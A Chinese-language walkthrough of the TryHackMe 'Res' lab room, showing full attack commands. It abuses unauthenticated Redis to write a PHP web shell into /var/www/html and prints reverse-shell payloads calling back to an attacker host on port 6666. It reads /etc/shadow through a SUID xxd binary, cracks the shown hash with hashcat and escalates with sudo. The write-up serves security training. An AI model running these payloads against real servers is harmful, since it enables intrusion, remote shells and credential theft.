【THM】Res练习
【THM】Res练习
与本文相关的TryHackMe实验房间链接:TryHackMe | Res
简介:在这个半引导式挑战中,使用内存中的数据结构入侵易受攻击的数据库服务器!
你准备好接受挑战了吗?
第一题:扫描机器,有多少端口是开放的?
第一步
端口扫描
首先使用nmap对端口进行扫描
nmap -sV -sC -p- 10.10.183.82
-sV 启用服务版本检测,获取开放端口上运行服务的版本信息。
-sC 启用默认脚本扫描,运行一组预定义的脚本进行更深入的检测。
-p- 扫描所有端口
建议使用另一个命令,扫描全端口跑了天久
nmap -sV -sC -p1-10000 10.10.183.82
-p1-10000 扫描1-10000端口
可以发现目标开放了2个端口:80/tcp http服务、6379/tcp redis数据库服务
第二题:服务器上安装的数据库管理系统是什么?
由端口扫描可知使用了redis数据库管理系统
第三题:数据库管理系统在哪个端口上运行?
由端口扫描可知redis数据库管理系统在6379端口上运行
第四题:服务器上安装的管理系统版本是什么?
由端口扫描可知redis数据库管理系统版本为6.0.7
第五题:破坏机器并找到user.txt
第一步
访问网站
访问10.110.183.82观察web应用
发现只有一个默认的Apache HTTP server登录页面,没有找到可以利用的地方
第二步
分析Redis相关漏洞
首先学习Redis是什么
【趣话Redis第一弹】我是Redis,MySQL大哥被我坑惨了!
在HackTricks | HackTricks的redis渗透模块中学到了可以上传shell
首先我们先尝试无密码连接上redis服务:
redis-cli -h 10.10.183.82
redis-cli Redis 命令行界面工具
-h 指定要连接的 Redis 服务器的主机名或 IP 地址
成功连接:
第三步
准备shell页面
使用以下命令设置Redis数据库的持久化目录:
config set dir /var/www/html
config 用于操作 Redis 配置的命令
set 设置一个指定的配置项
dir 要设置的配置项,这里表示 Redis 数据库的持久化目录
使用以下命令设置持久化数据库的文件名
config set dbfilename redis.php
dbfilename 要设置的配置项,表示 Redis 持久化数据的文件名
接下来我们可以上传的可就多了,我们可以弄一个shell
set test "<?php system($_GET['shell']); ?>"
test 要设置的键名
上传后可以用蚁剑连接或者传输以下参数得到shell
cmd=php -r '$sock=fsockopen("10.10.146.90","6666");exec("/bin/bash -i 0>&3 2>&3 1>&3");'
但我的攻击机没有所以直接用的反弹shell,反弹shell如下:
set test "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.10.146.90/6666 0>&1'\"); ?>"
首先监听我设置的6666端口,设置键名后访问redis.php成功得到shell:
使用以下命令使得反弹shell稳定化:
python -c "import pty; pty.spawn('/bin/bash')"
第四步
寻找user.txt
我们可以在vianka的用户目录中找到user.txt
第六题:本地用户的密码是什么?
第一步
查看/etc/shadow文件
使用以下命令:
cat /etc/shadow
莫得权限,我们看看我们有什么权限:
find / -type f -perm -04000 -ls 2>/dev/null
xxd
是一个用于在 Unix/Linux 系统中处理二进制文件的命令行工具。它可以将文件的内容以十六进制和 ASCII 格式进行查看和转换。
我们可以使用xxd命令来查看文件内容:
xxd /etc/shadow | xxd -r
-r 将输入的十六进制数据转换回二进制格式
我们将输出的shadow十六进制模式转换成了原始的二进制内容:
得到了:
$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0
第二步
hash解密
先去example_hashes hashcat wiki]查询hash加密的类型:
我们使用hashcat进行破解(这里用了攻击机默认的字典):
hashcat -a 0 -m 1800 '$6$2p.tSTds$qWQfsXwXOAxGJUBuq2RFXqlKiql3jxlwEWZP6CWXm7kIbzR6WzlxHR.UHmi.hc1/TuUOUBo/jWQaQtGSXwvri0' /usr/share/wordlists/rockyou.txt
我们得到密码为beautiful1
第七题:提升权限并获取root.txt
第一步
登录本地用户
我们有了vianka的密码,那么我们就可以使用本地用户登录了(没有开放ssh服务所以不能用ssh连接):
su vianka
为了能够访问root目录,我们提升权限:
sudo -i
成功了,得到root.txt: